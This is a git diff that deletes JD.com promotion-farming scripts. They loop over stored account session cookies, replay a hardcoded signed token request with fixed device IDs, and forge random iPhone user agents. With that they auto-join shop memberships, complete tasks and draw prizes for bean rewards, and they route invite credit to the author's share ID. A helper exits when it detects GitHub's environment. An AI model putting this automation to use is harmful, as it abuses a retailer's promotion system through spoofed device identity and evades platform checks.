$.venderId}&code=99&pin=${encodeURIComponent($.Pin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null` - $.post(taskPostUrl('/common/accessLogWithAD',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - let LZ_TOKEN_KEY = '' - let LZ_TOKEN_VALUE = '' - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if(name.split("=")[1]){ - if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' - if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' - } - } - } - if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getMyPing() { - return new Promise(resolve => { - let body = `userId=${$.shopId || $.venderId}&token=${$.Token}&fromType=APP` - $.post(taskPostUrl('/customer/getMyPing',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) - } else { - let res = $.toObj(data) - if(typeof res == 'object' && res.result == true){ - if(res.data && typeof res.data.secretPin != 'undefined') $.Pin = res.data.secretPin - if(res.data && typeof res.data.nickname != 'undefined') $.nickname = res.data.nickname - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getMyPing ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getSimpleActInfoVo() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}` - $.post(taskPostUrl('/dz/common/getSimpleActInfoVo',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId - if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - return new Promise(resolve => { - $.post({ - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=68&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=3c9b9db164cc8d694603ca6e3d7fb003&st=1628423908868&sv=102&uemps=0-0&uts=0f31TVRjBSuihfC/1D/2G8oVbUW0Pu4uJDif0Ehi7AVzM40fF9GfNX0yawFyBpTXK/PgWitxArFfBLGK%2Be2W5Pno6b7J4iivmXiQYbYPZi7fbVYEHb8Xa5JAi/fbdr/QeztGPJhLoPHKsXGU39PgzC1cWUEVezUyvHVtAuVQGBR%2Bj6Cx5kcez%2BkVn3IH8dKrAI6kA/Ct%2BQopU%2BROo1oY2w%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', - headers: { - 'Content-Type':'application/x-www-form-urlencoded', - 'Cookie': cookie, - 'Host':'api.m.jd.com', - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) - } else { - let res = $.toObj(data) - if(typeof res == 'object' && res.errcode == 0){ - if(typeof res.token != 'undefined') $.Token = res.token - }else if(typeof res == 'object' && res.message){ - console.log(`isvObfuscator ${res.message || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getCk() { - return new Promise(resolve => { - let get = { - url:`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/3542672?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - headers: { - "Cookie": cookie, - "User-Agent": $.UA, - } - } - $.get(get, async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} cookie API请求失败,请检查网路重试`) - } else { - let LZ_TOKEN_KEY = '' - let LZ_TOKEN_VALUE = '' - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if(name.split("=")[1]){ - if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' - if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' - } - } - } - if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskPostUrl(url, body) { - return { - url: `https://lzdz1-isv.isvjcloud.com${url}`, - body: body, - headers: { - "Accept": "application/json", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': `${cookie} ${activityCookie} ${$.Pin && "AUTH_C_USER=" + $.Pin + ";" || ""}`, - "Host": "lzdz1-isv.isvjcloud.com", - "Origin": "https://lzdz1-isv.isvjcloud.com", - "X-Requested-With": "XMLHttpRequest", - "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/3542672?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - "User-Agent": $.UA , - } - } -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_opencard14.js b/backUp/gua_opencard14.js deleted file mode 100644 index 5f6fb43..0000000 --- a/backUp/gua_opencard14.js +++ /dev/null @@ -1,810 +0,0 @@ -/* -8.18-8.31 冰爽来袭 玩撞一夏 [gua_opencard14.js] -新增开卡脚本 -一次性脚本 - -邀请一人20豆 (有可能没有豆 -开2组卡 抽奖可能获得30京豆(有可能有抽到空气💨 -关注10京豆 (有可能是空气💨 -加购没有豆只获得游戏机会 (默认不加购 如需加购请设置环境变量[guaopencard_addSku14]为"true" - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard14="true" -———————————————— -入口:[8.18-8.31 冰爽来袭 玩撞一夏 (https://lzdz1-isv.isvjcloud.com/lzclient/dz/2021jan/eliminateGame/0816eliminate/?activityId=8461aaca3fd24c66a3674da99c5342eb&shareUuid=abcd4cabe50f48e6853acde2ebf7fd48)] -============Quantumultx=============== -[task_local] -#8.18-8.31 冰爽来袭 玩撞一夏 -18 9,22 18-31 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard14.js, tag=8.18-8.31 冰爽来袭 玩撞一夏, enabled=true - -================Loon============== -[Script] -cron "18 9,22 18-31 8 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard14.js,tag=8.18-8.31 冰爽来袭 玩撞一夏 - -===============Surge================= -8.18-8.31 冰爽来袭 玩撞一夏 = type=cron,cronexp="18 9,22 18-31 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard14.js - -============小火箭========= -8.18-8.31 冰爽来袭 玩撞一夏 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard14.js, cronexpr="18 9,22 18-31 8 *", timeout=3600, enable=true -*/ -const $ = new Env('8.18-8.31 冰爽来袭 玩撞一夏'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -let activityCookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let guaopencard_addSku = false -guaopencard_addSku = $.isNode() ? (process.env.guaopencard_addSku14 ? process.env.guaopencard_addSku14 : `${guaopencard_addSku}`) : ($.getdata('guaopencard_addSku14') ? $.getdata('guaopencard_addSku14') : `${guaopencard_addSku}`); -message = "" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if ($.isNode()) { - if (!process.env.guaopencard14 || process.env.guaopencard14 == "false") { - console.log('如需执行脚本请设置环境变量[guaopencard14]为"true"') - return - } - } - $.shareUuid = 'abcd4cabe50f48e6853acde2ebf7fd48' - $.activityId = '8461aaca3fd24c66a3674da99c5342eb' - console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/lzclient/dz/2021jan/eliminateGame/0816eliminate/?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - getUA() - console.log(`\n\n******开始【京东账号${$.index}】${$.UserName}*********\n`); - await run(); - if(i == 0 && !$.actorUuid) return - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - -async function run(){ - try{ - $.Token = '' - $.Pin = '' - await getCk() - await token() - await getToken(); - if($.Token == ''){ - console.log('获取[token]失败!') - return - } - await getSimpleActInfoVo() - $.nickname = ''; - await getMyPing() - if ($.Pin ==="" || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { - $.log("获取活动信息失败!") - return - } - await accessLogWithAD() - $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - await getUserInfo(); - $.actorUuid = ''; - await getActorUuid(); - if(!$.actorUuid){ - console.log('获取不到[actorUuid]退出执行,请重新执行') - return - } - await drawContent(); - await $.wait(1000) - let checkOpenCardData = await checkOpenCard(); - if (checkOpenCardData && !checkOpenCardData.allOpenCard) { - let flag = true - for (let cardList1Element of checkOpenCardData.cardList3) { - if(cardList1Element.status == 0){ - if(flag) console.log('组1') - if(flag) flag = false - console.log(cardList1Element.name) - await join(cardList1Element.value) - await $.wait(1000) - await drawContent(); - } - } - flag = true - for (let cardList1Element of checkOpenCardData.cardList2) { - if(cardList1Element.status == 0){ - if(flag) console.log('组2') - if(flag) flag = false - console.log(cardList1Element.name) - await join(cardList1Element.value) - await $.wait(1000) - await drawContent(); - } - } - await $.wait(1000) - await drawContent(); - checkOpenCardData = await checkOpenCard(); - await $.wait(1000) - } - if(checkOpenCardData && checkOpenCardData.score2 == 1) await startDraw(2) - if(checkOpenCardData && checkOpenCardData.score3 == 1) await startDraw(3) - $.log("浏览商品: " + $.visitSku) - if(!$.visitSku) await $.wait(1000) - for(let i of $.visitSkuList){ - if(i.status === 0){ - await saveTask('浏览商品', 5, i.value); - await insertCrmPageVisit("浏览商品"+i.value) - await writePersonInfo() - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)); - } - } - $.log("关注: " + $.followShop) - if(!$.followShop) await saveTask('关注', 23, 23); - if(!$.followShop) await $.wait(1000) - $.log("签到: " + $.sign) - if(!$.sign) await saveTask('签到', 0, 1000098686); - if(!$.sign) await $.wait(1000) - $.log("加购: " + $.addSku) - if(!$.addSku && guaopencard_addSku+"" != "true") console.log('如需加购请设置环境变量[guaopencard_addSku14]为"true"'); - if(!$.addSku && guaopencard_addSku == "true") await saveTask('加购', 21, 21); - if(!$.addSku && guaopencard_addSku == "true") await $.wait(1000) - await getActorUuid() - console.log(`共${$.score}清爽值 剩余${$.score1} ${$.score5}次游戏机会`) - await $.wait(1000) - await getDrawRecordHasCoupon() - await $.wait(1000) - await getShareRecord() - $.log($.shareUuid) - if ($.index === 1) { - if($.actorUuid){ - $.shareUuid = $.actorUuid; - console.log(`后面的号都会助力:${$.shareUuid}`) - }else{ - console.log('账号1获取不到[shareUuid]退出执行,请重新执行') - return - } - } - }catch(e){ - console.log(e) - } -} -function getDrawRecordHasCoupon() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - console.log(`我的奖品:`) - let num = 0 - let value = 0 - for(let i in res.data){ - let item = res.data[i] - if(item.value == '邀请好友') num++; - if(item.value == '邀请好友') value = item.infoName.replace('京豆',''); - if(item.value != '邀请好友') console.log(`${item.infoType != 10 && item.value +':' || ''}${item.infoName}`) - } - if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 20}京豆`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`我的奖品 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getShareRecord() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getShareRecord', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - $.log(`=========== 你邀请了:${res.data.length}个`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function writePersonInfo() { - return new Promise(resolve => { - let body = `jdActivityId=${$.jdActivityId}&pin=${encodeURIComponent($.Pin)}&actionType=5&venderId=0&activityId=${$.activityId}` - $.post(taskPostUrl('/interaction/write/writePersonInfo', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function insertCrmPageVisit(elementId) { - return new Promise(resolve => { - let body = `venderId=${$.venderId}&elementId=${elementId}&pageId=${$.activityId}&pin=${encodeURIComponent($.Pin)}` - $.post(taskPostUrl('/crm/pageVisit/insertCrmPageVisit', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - - -function saveTask(title, taskType, taskValue) { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&taskType=${taskType}&taskValue=${taskValue}` - $.post(taskPostUrl('/dingzhi/openCard/summer/saveTask', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - let msg = '' - if(res.data.beanNub){ - msg = `${res.data.beanNub}京豆` - } - if(res.data.addscore){ - msg += ` ${res.data.addscore}清爽值` - } - if(res.data.addScore5){ - msg += ` ${res.data.addScore5}次游戏机会` - } - console.log(`${title}获得:${ msg || '空气💨'}`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${title} ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - // console.log($.toStr(data.result)) - // console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/lzclient/dz/2021jan/eliminateGame/0816eliminate/?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object'){ - if(res.success === true){ - console.log(res.message) - if(res.result && res.result.giftInfo){ - for(let i of res.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(typeof res == 'object' && res.message){ - console.log(`${res.message || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/lzclient/dz/2021jan/eliminateGame/0816eliminate/?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} - -function startDraw(type) { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&type=${type}` - $.post(taskPostUrl('/dingzhi/openCard/summer/startDraw', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // $.log($.toStr(data)) - let res = $.toObj(data); 